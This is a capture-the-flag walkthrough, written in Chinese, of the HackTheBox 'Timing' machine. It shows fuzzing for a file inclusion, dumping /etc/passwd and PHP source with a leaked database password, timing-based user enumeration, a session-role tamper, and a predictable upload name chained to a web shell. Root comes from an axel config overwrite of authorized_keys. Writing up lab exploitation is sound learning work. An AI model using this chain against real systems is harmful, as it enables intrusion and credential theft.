HackTheBox-Timing

https://app.hackthebox.com/machines/421

nmap扫描结果


一个登录框,测试了一下貌似不存在sql注入

目录爆破结果

存在images/upload目录,但是没有爆破出有价值的文件

注意到image.php没有直接跳转到login.php,推测该文件可能可以接受参数去读取images文件夹中的文件

wfuzz -c -w ~/SecTools/SecLists-2021.4/Discovery/Web-Content/burp-parameter-names.txt -u "http://10.10.11.135/image.php?FUZZ=/etc/passwd"

传入img=index.php时,跳转到login.php,推测这里为文件包含

php://filter/read=convert.base64-encode/resource=xxx

/etc/passwd

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
mysql:x:111:114:MySQL Server,,,:/nonexistent:/bin/false
aaron:x:1000:1000:aaron:/home/aaron:/bin/bash

image.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

function is_safe_include($text)
{
$blacklist = array("php://input", "phar://", "zip://", "ftp://", "file://", "http://", "data://", "expect://", "https://", "../");

foreach ($blacklist as $item) {
if (strpos($text, $item) !== false) {
return false;
}
}
return substr($text, 0, 1) !== "/";

}

if (isset($_GET['img'])) {
if (is_safe_include($_GET['img'])) {
include($_GET['img']);
} else {
echo "Hacking attempt detected!";
}
}

login.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php

include "header.php";

function createTimeChannel()
{
sleep(1);
}

include "db_conn.php";

if (isset($_SESSION['userid'])){
header('Location: ./index.php');
die();
}


if (isset($_GET['login'])) {
$username = $_POST['user'];
$password = $_POST['password'];

$statement = $pdo->prepare("SELECT * FROM users WHERE username = :username");
$result = $statement->execute(array('username' => $username));
$user = $statement->fetch();

if ($user !== false) {
createTimeChannel();
if (password_verify($password, $user['password'])) {
$_SESSION['userid'] = $user['id'];
$_SESSION['role'] = $user['role'];
header('Location: ./index.php');
return;
}
}
$errorMessage = "Invalid username or password entered";


}
?>
...

注意这里有一个createTimeChannel,当用户名正确时后不会直接回显,而是延迟回显类似于延时注入

db_conn.php

1
2
<?php
$pdo = new PDO('mysql:host=localhost;dbname=app', 'root', '4_V3Ry_l0000n9_p422w0rd');

传入user=admin&password=4_V3Ry_l0000n9_p422w0rd,成功延迟了一秒钟,但是没有进行跳转,说明存在用户admin,但是密码没整出来

/etc/passwd中存在aaron用户,尝试登录,也成功延迟了一秒钟,说明存在该用户

测试得知aaron作为密码可以登录aaron用户

profile_update.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
<?php

include "auth_check.php";

$error = "";

if (empty($_POST['firstName'])) {
$error = 'First Name is required.';
} else if (empty($_POST['lastName'])) {
$error = 'Last Name is required.';
} else if (empty($_POST['email'])) {
$error = 'Email is required.';
} else if (empty($_POST['company'])) {
$error = 'Company is required.';
}

if (!empty($error)) {
die("Error updating profile, reason: " . $error);
} else {

include "db_conn.php";

$id = $_SESSION['userid'];
$statement = $pdo->prepare("SELECT * FROM users WHERE id = :id");
$result = $statement->execute(array('id' => $id));
$user = $statement->fetch();

if ($user !== false) {

ini_set('display_errors', '1');
ini_set('display_startup_errors', '1');
error_reporting(E_ALL);

$firstName = $_POST['firstName'];
$lastName = $_POST['lastName'];
$email = $_POST['email'];
$company = $_POST['company'];
$role = $user['role'];

if (isset($_POST['role'])) {
$role = $_POST['role'];
$_SESSION['role'] = $role;
}


// dont persist role
$sql = "UPDATE users SET firstName='$firstName', lastName='$lastName', email='$email', company='$company' WHERE id=$id";

$stmt = $pdo->prepare($sql);
$stmt->execute();

$statement = $pdo->prepare("SELECT * FROM users WHERE id = :id");
$result = $statement->execute(array('id' => $id));
$user = $statement->fetch();

// but return it to avoid confusion
$user['role'] = $role;
$user['6'] = $role;

echo json_encode($user, JSON_PRETTY_PRINT);

} else {
echo "No user with this id was found.";
}

}

?>

注意到$_SESSION['role']可以被篡改

1
2
3
4
if (isset($_POST['role'])) {
$role = $_POST['role'];
$_SESSION['role'] = $role;
}

POST传参firstName=test&lastName=test&email=test&company=test&role=1可以看到成功越权,得到admin panel

upload.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
include("admin_auth_check.php");

$upload_dir = "images/uploads/";

if (!file_exists($upload_dir)) {
mkdir($upload_dir, 0777, true);
}

$file_hash = uniqid();

$file_name = md5('$file_hash' . time()) . '_' . basename($_FILES["fileToUpload"]["name"]);
$target_file = $upload_dir . $file_name;
$error = "";
$imageFileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION));

if (isset($_POST["submit"])) {
$check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
if ($check === false) {
$error = "Invalid file";
}
}

// Check if file already exists
if (file_exists($target_file)) {
$error = "Sorry, file already exists.";
}

if ($imageFileType != "jpg") {
$error = "This extension is not allowed.";
}

if (empty($error)) {
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
echo "The file has been uploaded.";
} else {
echo "Error: There was an error uploading your file.";
}
} else {
echo "Error: " . $error;
}
?>

注意到文件名是md5('$file_hash' . time())而不是md5("$file_hash" . time()),因此只需要知道时间戳即可

成功得到图片为238f241b8f6fe89215ecc1eb02b929db_info.jpg,利用文件包含即可getshell

无法直接反弹shell,因此使用正向绑定

linpeas.sh显示-rw-r--r-- 1 root root 627851 Jul 20 2021 /opt/source-files-backup.zip

压缩包中存在.git文件夹

S3cr3t_unGu3ss4bl3_p422w0Rd尝试登录ssh


https://man.sr.ht/~rek2/Hispagatos-wiki/writeups/Timing.md

1
2
3
[email protected]:/usr/bin$ cat netutils 
#! /bin/bash
java -jar /root/netutils.jar
1
2
3
4
5
6
7
[email protected]:~$ sudo netutils 
netutils v0.1
Select one option:
[0] FTP
[1] HTTP
[2] Quit
Input >>
1
2
3
4
5
6
7
8
[email protected]:~$ nc -lvnp 8000
Listening on [0.0.0.0] (family 0, port 8000)
Connection from 127.0.0.1 53856 received!
GET / HTTP/1.0
Host: 127.0.0.1:8000
Accept: */*
Range: bytes=1-
User-Agent: Axel/2.16.1 (Linux)

https://github.com/axel-download-accelerator/axel/blob/6046c2a799d82235337e4cba8c4d1fd8c56bc400/doc/axelrc.example#L69

default_filename = default

http://manpages.ubuntu.com/manpages/trusty/zh_CN/man1/axel.1.html

1
2
3
4
5
6
/etc/axelrc 系统全局配置文件

~/.axelrc 个人配置文件

这些文件正文不会在一个手册页内显示,但我希望跟程序一起安装的样本文件包含足够的信息。
配置文件在不同系统的位置可能不一样。

修改配置文件default_filename = /root/.ssh/authorized_keys

同时把本机的ssh公钥传到靶机上并命名为index.html,python3建立一个服务器,将公钥通过netutils下载并保存到/root/.ssh/authorized_keys